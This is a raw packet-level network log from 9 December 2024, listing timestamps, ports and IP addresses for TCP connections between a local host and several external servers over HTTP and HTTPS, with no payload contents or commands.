Dec 9, 2024 21:09:44.211107969 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.211635113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.211673975 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.212165117 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.212202072 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.212527990 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.212569952 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.212878942 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.212917089 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.213617086 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.213656902 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.213799953 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.213840008 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.214571953 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.214617968 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.214749098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.214786053 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.215662956 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.216026068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.216079950 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.217010975 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.217058897 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.217202902 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.217241049 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.218003988 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.218050003 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.218328953 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.218374968 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.219655037 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.219667912 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.219713926 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.220464945 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.220509052 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.220829964 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.220870018 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.221000910 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.221014023 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.221044064 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.221056938 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.221868038 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.222034931 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.222079039 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.222842932 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.222889900 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.223148108 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.223879099 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.223921061 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.224096060 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.224133968 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.225087881 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.225128889 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.225244999 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.225285053 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.225835085 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.225877047 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.225939989 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.225980043 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.226809978 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.226850033 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.227174044 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.227849007 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.227889061 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.227916002 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.227957010 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.228914022 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.228955030 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.229034901 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.229074955 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.229914904 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.229928017 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.229959011 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.230938911 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.231134892 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.231759071 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.231802940 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.232095003 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.232108116 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.232150078 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.233020067 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.233061075 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.233563900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.234030008 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.234074116 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.234353065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.234394073 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.235022068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.235063076 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.235285044 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.235346079 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.236072063 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.236113071 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.236243010 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.236280918 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.237302065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.237340927 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.237344027 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.237381935 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.240194082 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.240211010 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.240221977 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.240232944 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.240253925 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.242911100 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.361232042 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.361289024 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.361565113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.361910105 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.361922026 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.361953020 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.361980915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.362899065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.363970995 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.363981009 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.364013910 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.364041090 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.416867971 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:44.536395073 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:44.536484003 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:44.726979017 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:44.846782923 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:45.034054041 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.034156084 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.034214020 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.034657955 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.034670115 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.560240030 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.560266018 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.560350895 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.561800957 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.561814070 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.895740032 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.895782948 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.895845890 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.896509886 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:45.896521091 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:45.904295921 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:45.904357910 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:45.916407108 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:45.916857958 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:46.036180019 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.392565012 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.392627954 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.398927927 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.520045996 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.774349928 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:46.774415970 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:46.775562048 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:46.775569916 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:46.775804996 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:46.825875044 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:46.826791048 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:46.826792955 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:46.826826096 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:46.827110052 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:46.946691036 CET	80	49965	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:46.946784019 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:46.946995020 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:46.947324991 CET	80	49942	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:46.947377920 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:46.959505081 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959547043 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959557056 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959572077 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.959605932 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.959661961 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959680080 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959691048 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959702015 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.959728956 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.959744930 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.959990978 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.960001945 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.960035086 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.960048914 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.968178988 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.968317032 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.968332052 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.970953941 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:46.975979090 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:46.976246119 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.066577911 CET	80	49965	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:47.078931093 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.079014063 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.079075098 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.108325005 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.108403921 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.109687090 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.109698057 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.109919071 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.111136913 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.111270905 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.111275911 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.151407957 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.151642084 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.154963970 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.155282021 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.155426025 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.155477047 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.163280964 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.163501024 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.167007923 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.171236992 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.171725988 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.174992085 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.179176092 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.179934978 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.182955980 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.187092066 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.187860012 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.190996885 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.195118904 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.195262909 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.199002028 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.204255104 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.204267979 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.204983950 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.211709023 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.211723089 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.214996099 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.219424009 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.220170021 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.222974062 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.225878000 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.225949049 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.226170063 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.226973057 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.231969118 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.232273102 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.234987974 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.343549967 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.343728065 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.346513033 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.346548080 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.346590996 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.346626997 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.353125095 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.353280067 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.354958057 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.359517097 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.359791040 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.363002062 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.364139080 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.364518881 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.364573002 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.368890047 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.369261026 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.371015072 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.373521090 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.373696089 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.373755932 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.377950907 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.378079891 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.378959894 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.382484913 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.382950068 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.383022070 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.386965036 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.387222052 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.387411118 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.387453079 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.391726017 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.392174959 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.395071983 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.396200895 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.396372080 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.396426916 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.400855064 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.401000023 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.403001070 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.405189037 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.405325890 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.406979084 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.410005093 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.410218000 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.410276890 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.414323092 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.414522886 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.414947987 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.419006109 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.419100046 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.423005104 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.423382044 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.423567057 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.423614025 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.427949905 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.428296089 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.430947065 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.432435989 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.432739019 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.432794094 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.437084913 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.437374115 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.438949108 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.441581964 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.441782951 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.441833973 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.619965076 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:47.739377022 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:47.803069115 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.803159952 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.803216934 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.803405046 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.803411007 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.803421021 CET	49958	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.803426027 CET	443	49958	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.856940985 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.857033968 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.857079983 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.857810974 CET	49960	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.857827902 CET	443	49960	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.877460003 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.877497911 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:47.877564907 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.878746033 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:47.878758907 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:48.114501953 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:48.114567041 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:48.316210032 CET	80	49965	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:48.316284895 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:48.317715883 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:48.317892075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:48.372466087 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:48.372473955 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:48.372541904 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:48.372787952 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:48.372798920 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:48.437299967 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:48.437475920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:48.437544107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:48.437980890 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:48.438029051 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:48.557065010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.091577053 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.091676950 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.092822075 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.092833042 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.093056917 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.094223976 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.094248056 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.094291925 CET	443	49967	104.21.48.1	192.168.2.6
